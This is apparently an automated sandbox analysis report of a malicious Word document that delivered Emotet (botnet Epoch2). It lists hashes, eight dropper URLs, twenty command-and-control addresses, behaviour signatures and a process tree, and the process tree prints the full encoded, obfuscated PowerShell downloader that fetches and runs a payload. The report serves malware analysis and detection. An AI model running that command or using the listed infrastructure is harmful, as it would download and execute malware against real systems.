Analysis

  • max time kernel
    136s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    21/10/2020, 20:00

General

  • Target
    FILE_821318270343427921840.doc
  • Size 199KB
  • Sample201021-4271ap2b5a
  • SHA256 0d4957ad656edeaef3f49b20de1845bcafd5e78981c607cff352212e84ae913e
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://www.aspensnowmasswebcam.com/wp-admin/SC6c2o/

  • exe.dropper

    https://ticket1st.com/wp-includes/98Zkfi/

  • exe.dropper

    https://www.eyebrowandme.com/cgi-bin/3NN/

  • exe.dropper

    http://newsfocus123.com/96kaifa/cc1/

  • exe.dropper

    https://dev.muzigal.com/cron/Mdn/

  • exe.dropper

    http://www.dehateet.com/wp-admin/Gqg0Ma/

  • exe.dropper

    http://keithdougherty.com/wp-includes/Yen85/

  • exe.dropper

    http://nurseprizes.com/wp-includes/hS/

Extracted

Family
  • emotet

Botnet
  • Epoch2

C2
  • 24.178.90.49:80

  • 96.126.101.6:8080

  • 5.196.108.185:8080

  • 167.114.153.111:8080

  • 188.219.31.12:80

  • 184.180.181.202:80

  • 85.105.111.166:80

  • 174.106.122.139:80

  • 137.59.187.107:8080

  • 185.94.252.104:443

  • 142.112.10.95:20

  • 102.182.93.220:80

  • 75.188.96.231:80

  • 93.147.212.206:80

  • 120.150.218.241:443

  • 87.106.139.101:8080

  • 78.188.106.53:443

  • 75.139.38.211:80

  • 46.105.131.79:8080

  • 168.235.67.138:7080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\FILE_821318270343427921840.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3104
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD IAAgAHMARQB0ACAAIAAoACIAOQB4AFIAMQAiACsAIgBBACIAKQAgACAAKAAgACAAWwB0AFkAcABlAF0AKAAiAHsAMgB9AHsAMQB9AHsANQB9AHsAMAB9AHsANAB9AHsAMwB9ACIAIAAtAGYAIAAnAGkATwAuAGQAJwAsACcAVABlAG0AJwAsACcAUwB5AHMAJwAsACcAUgBFAEMAVABvAFIAWQAnACwAJwBpACcALAAnAC4AJwApACAAKQAgACAAOwAgACAAJABmADIAeQBjAFAAPQAgACAAWwBUAFkAcABFAF0AKAAiAHsAMQB9AHsAMwB9AHsAMgB9AHsANAB9AHsAMAB9AHsANQB9ACIAIAAtAEYAIAAnAFQAbQBhACcALAAnAFMAWQBzACcALAAnAEUAJwAsACcAdABFAG0ALgBuAEUAdAAuAHMARQByAFYASQBjACcALAAnAHAAbwBpAE4AJwAsACcAbgBBAEcAZQBSACcAKQAgADsAJABWAGIAYgBfAGoAaQBwAD0AKAAoACcAWgAnACsAJwBwAGYAagAnACsAJwBrAF8AJwApACsAJwBwACcAKQA7ACQAWgBvADIAawAzADgAbQA9ACQARQB4ADgAagBmAHAAbgAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAVgB2AHMAZAB5AHkAYgA7ACQAQQBnAHIAMgA2AG4AeAA9ACgAJwBQACcAKwAnAG4AJwArACgAJwAyAHMAZABxACcAKwAnAGIAJwApACkAOwAgACAAKABnAEkAIAAgACgAJwB2ACcAKwAnAGEAJwArACcAcgBpAGEAQgBMAGUAOgA5AFgAcgAnACsAJwAxAGEAJwApACkALgBWAEEAbAB1AEUAOgA6ACIAYwBSAEUAQQB0AGUAZABgAGkAcgBlAGAAQwBUAG8AYABSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQAnACsAJwBSACcAKwAnAF8AYwAnACsAJwB6ACcAKwAnADgAaQB6AHsAMAB9ACcAKwAoACcATwAyADYAJwArACcAbwAzAGwAJwApACsAJwBvAHsAMAB9ACcAKQAgACAALQBmACAAIABbAGMAaABhAHIAXQA5ADIAKQApADsAJABJADIAaQBmAG8AZgBwAD0AKAAoACcAUgBmACcAKwAnAGcAegAnACkAKwAoACcAMgAnACsAJwBsAGIAJwApACkAOwAgACAAKAAgAGcARQB0AC0AYwBIAEkAbABEAEkAdABFAG0AIAB2AGEAUgBpAEEAQgBMAEUAOgBGADIAWQBDAHAAIAApAC4AdgBhAEwAdQBlADoAOgAiAFMAZQBjAHUAYABSAGAASQBUAFkAcAByAE8AVABgAE8AQwBgAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQASgByAGkAZABzAHoAagA9ACgAKAAnAEEAcwAnACsAJwB5ACcAKQArACcAMwB6ACcAKwAnADYANAAnACkAOwAkAEEAcwB0AHUAaQBoAGUAIAA9ACAAKAAoACcATwAnACsAJwA4ADQAOABwACcAKQArACcAOAAnACsAJwBrACcAKQA7ACQAVABjAGMAMQBnADAAeQA9ACgAKAAnAEkAcAAnACsAJwBmAHcAJwApACsAJwBoADkAJwArACcAZAAnACkAOwAkAE4AcQBmADgAcgB4ADEAPQAoACcASgAnACsAKAAnADQAZgAnACsAJwA2AHQAZgAnACkAKwAnADgAJwApADsAJABGAGEAaQBmAHgAYgBqAD0AJABIAE8ATQBFACsAKAAoACcAdgAnACsAKAAnAFMAVABSACcAKwAnAF8AYwB6ADgAJwArACcAaQB6AHYAUwBUACcAKQArACgAJwBPADIANgBvACcAKwAnADMAbAAnACkAKwAoACcAbwB2ACcAKwAnAFMAVAAnACkAKQAtAEMAUgBlAFAAbABhAEMARQAgACAAKAAnAHYAUwAnACsAJwBUACcAKQAsAFsAYwBIAEEAcgBdADkAMgApACsAJABBAHMAdAB1AGkAaABlACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQARgBuAG4AcQB4AHQAdwA9ACgAKAAnAFYAJwArACcAbgByAGoAMQAnACkAKwAnAGgAZwAnACkAOwAkAEIAXwBpAGsAMQBmAG8APQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgBqAGUAJwArACcAYwB0ACcAKQAgAG4AZQB0AC4AVwBlAEIAYwBsAGkAZQBOAFQAOwAkAEoANQA5ADcAOABsADcAPQAoACgAJwBoAHQAdAAnACsAJwBwACcAKQArACgAJwBzADoAJwArACcAPQAnACkAKwAoACcAWQAzAG4AawAnACsAJwBPAHMAPQAnACsAJwBZADMAbgBrACcAKwAnAE8AcwAnACsAJwB3ACcAKQArACcAdwB3ACcAKwAoACcALgAnACsAJwBhAHMAcABlACcAKwAnAG4AcwBuAG8AJwArACcAdwBtAGEAcwBzACcAKwAnAHcAJwApACsAKAAnAGUAYgBjAGEAbQAuACcAKwAnAGMAbwBtAD0AWQAnACsAJwAzACcAKwAnAG4AawAnACsAJwBPACcAKwAnAHMAdwBwAC0AYQAnACsAJwBkAG0AaQBuAD0AWQAnACsAJwAzAG4AJwArACcAawBPAHMAUwAnACkAKwAoACcAQwA2ACcAKwAnAGMAMgAnACkAKwAnAG8AJwArACgAJwA9AFkAMwAnACsAJwBuACcAKQArACgAJwBrAE8AcwAnACsAJwBAAGgAdAAnACsAJwB0AHAAcwAnACkAKwAoACcAOgA9AFkAMwAnACsAJwBuACcAKwAnAGsATwAnACkAKwAoACcAcwA9AFkAJwArACcAMwAnACkAKwAnAG4AawAnACsAKAAnAE8AcwAnACsAJwB0AGkAYwAnACsAJwBrACcAKQArACcAZQAnACsAKAAnAHQAMQBzACcAKwAnAHQALgBjAG8AJwArACcAbQAnACkAKwAoACcAPQBZADMAJwArACcAbgBrACcAKQArACgAJwBPAHMAJwArACcAdwAnACkAKwAoACcAcAAtAGkAJwArACcAbgBjAGwAdQAnACkAKwAnAGQAJwArACgAJwBlAHMAPQAnACsAJwBZADMAbgAnACsAJwBrACcAKwAnAE8AcwAnACkAKwAoACcAOQAnACsAJwA4AFoAJwArACcAawBmAGkAPQBZADMAbgBrACcAKwAnAE8AcwBAACcAKQArACcAaAB0ACcAKwAoACcAdAAnACsAJwBwAHMAJwApACsAKAAnADoAPQBZACcAKwAnADMAbgAnACkAKwAnAGsATwAnACsAKAAnAHMAPQAnACsAJwBZADMAJwArACcAbgBrAE8AcwB3ACcAKwAnAHcAdwAuAGUAJwApACsAKAAnAHkAJwArACcAZQBiAHIAJwApACsAKAAnAG8AdwBhAG4AJwArACcAZABtACcAKwAnAGUAJwApACsAJwAuAGMAJwArACgAJwBvACcAKwAnAG0APQBZADMAJwApACsAJwBuAGsAJwArACgAJwBPAHMAYwBnAGkALQBiACcAKwAnAGkAJwApACsAKAAnAG4APQAnACsAJwBZADMAbgAnACkAKwAnAGsAJwArACcATwBzACcAKwAoACcAMwAnACsAJwBOAE4APQBZADMAbgAnACsAJwBrACcAKwAnAE8AcwBAAGgAdAAnACsAJwB0AHAAOgAnACkAKwAnAD0AJwArACgAJwBZACcAKwAnADMAbgAnACsAJwBrACcAKwAnAE8AJwArACcAcwA9AFkAMwBuAGsATwBzAG4AJwApACsAJwBlAHcAJwArACgAJwBzAGYAbwBjAHUAJwArACcAcwAxACcAKQArACgAJwAyADMAJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0APQAnACkAKwAnAFkAMwAnACsAKAAnAG4AawAnACsAJwBPACcAKQArACgAJwBzADkAJwArACcANgAnACsAJwBrAGEAaQBmAGEAJwApACsAJwA9AFkAJwArACcAMwBuACcAKwAoACcAawBPACcAKwAnAHMAJwApACsAKAAnAGMAJwArACcAYwAxAD0AWQAzAG4AawAnACsAJwBPAHMAQABoACcAKwAnAHQAdAAnACsAJwBwAHMAOgA9AFkAMwBuACcAKwAnAGsAJwApACsAJwBPACcAKwAoACcAcwA9AFkAJwArACcAMwBuAGsATwBzACcAKwAnAGQAJwArACcAZQAnACsAJwB2AC4AbQAnACkAKwAoACcAdQB6AGkAJwArACcAZwBhACcAKQArACgAJwBsAC4AYwAnACsAJwBvACcAKQArACcAbQAnACsAKAAnAD0AWQAzAG4AJwArACcAawAnACsAJwBPAHMAYwByAG8AJwApACsAJwBuAD0AJwArACgAJwBZADMAbgBrAE8AcwAnACsAJwBNACcAKwAnAGQAJwArACcAbgA9AFkAMwBuAGsAJwArACcATwBzAEAAaAB0ACcAKQArACgAJwB0AHAAOgA9ACcAKwAnAFkAMwBuACcAKQArACgAJwBrAE8AcwAnACsAJwA9AFkAJwApACsAKAAnADMAbgBrAE8AJwArACcAcwB3AHcAJwApACsAJwB3ACcAKwAoACcALgBkAGUAaABhACcAKwAnAHQAZQBlAHQAJwArACcALgAnACkAKwAoACcAYwBvAG0AJwArACcAPQBZADMAbgBrACcAKwAnAE8AcwB3AHAALQBhACcAKwAnAGQAbQBpAG4APQBZACcAKQArACgAJwAzACcAKwAnAG4AawAnACkAKwAoACcATwBzACcAKwAnAEcAcQBnACcAKwAnADAAJwApACsAKAAnAE0AJwArACcAYQA9AFkAMwAnACkAKwAoACcAbgBrACcAKwAnAE8AcwBAAGgAdAAnACkAKwAoACcAdABwADoAJwArACcAPQAnACkAKwAnAFkAMwAnACsAJwBuACcAKwAoACcAawBPACcAKwAnAHMAJwApACsAKAAnAD0AWQAzACcAKwAnAG4AawBPACcAKQArACcAcwBrACcAKwAoACcAZQBpACcAKwAnAHQAJwApACsAKAAnAGgAZABvAHUAZwBoACcAKwAnAGUAJwArACcAcgB0ACcAKQArACgAJwB5AC4AYwAnACsAJwBvACcAKQArACcAbQA9ACcAKwAoACcAWQAnACsAJwAzAG4AawBPACcAKQArACcAcwAnACsAKAAnAHcAcAAtAGkAbgBjAGwAdQAnACsAJwBkACcAKwAnAGUAcwAnACsAJwA9AFkAJwArACcAMwAnACkAKwAnAG4AawAnACsAKAAnAE8AJwArACcAcwBZAGUAbgAnACsAJwA4ADUAJwApACsAKAAnAD0AWQAzACcAKwAnAG4AJwApACsAJwBrACcAKwAnAE8AJwArACgAJwBzAEAAaAB0AHQAcAAnACsAJwA6ACcAKwAnAD0AWQAnACkAKwAnADMAbgAnACsAJwBrAE8AJwArACgAJwBzACcAKwAnAD0AWQAzACcAKQArACcAbgAnACsAKAAnAGsAJwArACcATwBzACcAKQArACcAbgAnACsAKAAnAHUAcgBzAGUAJwArACcAcAAnACkAKwAnAHIAJwArACgAJwBpACcAKwAnAHoAZQBzAC4AJwApACsAKAAnAGMAbwBtAD0AWQAzAG4AawAnACsAJwBPACcAKQArACcAcwB3ACcAKwAoACcAcAAtAGkAJwArACcAbgBjACcAKwAnAGwAdQBkAGUAcwAnACkAKwAoACcAPQBZACcAKwAnADMAJwApACsAKAAnAG4AawAnACsAJwBPACcAKwAnAHMAaABTACcAKQArACcAPQBZACcAKwAnADMAbgAnACsAKAAnAGsATwAnACsAJwBzACcAKQApAC4AIgByAEUAYABwAEwAQQBgAGMAZQAiACgAKAAoACcAPQAnACsAJwBZADMAbgBrACcAKQArACcATwAnACsAJwBzACcAKQAsACcALwAnACkALgAiAFMAYABQAEwAaQBUACIAKAAkAFYAZwBvADAAMgBuAG8AIAArACAAJABaAG8AMgBrADMAOABtACAAKwAgACQASQBpAG4AbwA1ADUAMwApADsAJABOAHkAbwA2AHYAeQBfAD0AKAAnAFYAJwArACgAJwBkAGQAJwArACcAZABnACcAKQArACcAcQBlACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVQA5AGwAZwBzAGYAbAAgAGkAbgAgACQASgA1ADkANwA4AGwANwApAHsAdAByAHkAewAkAEIAXwBpAGsAMQBmAG8ALgAiAEQAbwBXAGAATgBgAGwATwBhAEQARgBJAEwARQAiACgAJABVADkAbABnAHMAZgBsACwAIAAkAEYAYQBpAGYAeABiAGoAKQA7ACQAUQB0AGIAbgAyADkAMQA9ACgAKAAnAFoAagBkACcAKwAnAG8AJwApACsAKAAnAGcAaQAnACsAJwBpACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEYAYQBpAGYAeABiAGoAKQAuACIAbABlAG4ARwBgAFQAaAAiACAALQBnAGUAIAA0ADkANgA4ADgAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAJwB3AGkAJwArACgAJwBuACcAKwAnADMAMgBfACcAKQArACcAUAAnACsAKAAnAHIAbwBjAGUAcwAnACsAJwBzACcAKQApACkALgAiAEMAcgBgAGUAQQBgAFQAZQAiACgAJABGAGEAaQBmAHgAYgBqACkAOwAkAEgAMwBiADUAbABiAGYAPQAoACgAJwBMAGUAeQAnACsAJwBrAGsAJwApACsAJwA5ACcAKwAnADcAJwApADsAYgByAGUAYQBrADsAJABGADMAawA0AHAAcAB2AD0AKAAnAE8ANwAnACsAKAAnAG0AdQAnACsAJwB3ADMAdwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQwBzADcAegBjAG0AbAA9ACgAJwBXACcAKwAoACcAZwAnACsAJwBsADQAJwApACsAKAAnAGMAJwArACcAdgB5ACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2684
  • C:\Users\Admin\R_cz8iz\O26o3lo\O848p8k.exe
    C:\Users\Admin\R_cz8iz\O26o3lo\O848p8k.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2452
    • C:\Windows\SysWOW64\runas\dialclient.exe
      "C:\Windows\SysWOW64\runas\dialclient.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:3508

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/2452-19-0x00000000021E0000-0x0000000002211000-memory.dmp

        memory/2452-18-0x0000000002160000-0x0000000002193000-memory.dmp

        memory/2684-13-0x00007FFA17BE0000-0x00007FFA185CC000-memory.dmp

        memory/2684-14-0x000001C262320000-0x000001C262321000-memory.dmp

        memory/2684-15-0x000001C27A660000-0x000001C27A661000-memory.dmp

        memory/3104-12-0x00000247382F8000-0x0000024738301000-memory.dmp

        memory/3104-8-0x0000024738158000-0x000002473815D000-memory.dmp

        memory/3104-0-0x00007FFA23AA0000-0x00007FFA24166000-memory.dmp

        memory/3104-11-0x00000247382F8000-0x0000024738301000-memory.dmp

        memory/3104-10-0x00000247382F8000-0x0000024738301000-memory.dmp

        memory/3104-9-0x000002472E1EC000-0x000002472E1F1000-memory.dmp

        memory/3104-7-0x0000024738153000-0x0000024738158000-memory.dmp

        memory/3104-6-0x0000024738153000-0x0000024738158000-memory.dmp

        memory/3104-5-0x0000024738158000-0x000002473815D000-memory.dmp

        memory/3104-1-0x0000024737B40000-0x0000024737B44000-memory.dmp

        memory/3508-22-0x0000000002070000-0x00000000020A3000-memory.dmp

        memory/3508-23-0x00000000020B0000-0x00000000020E1000-memory.dmp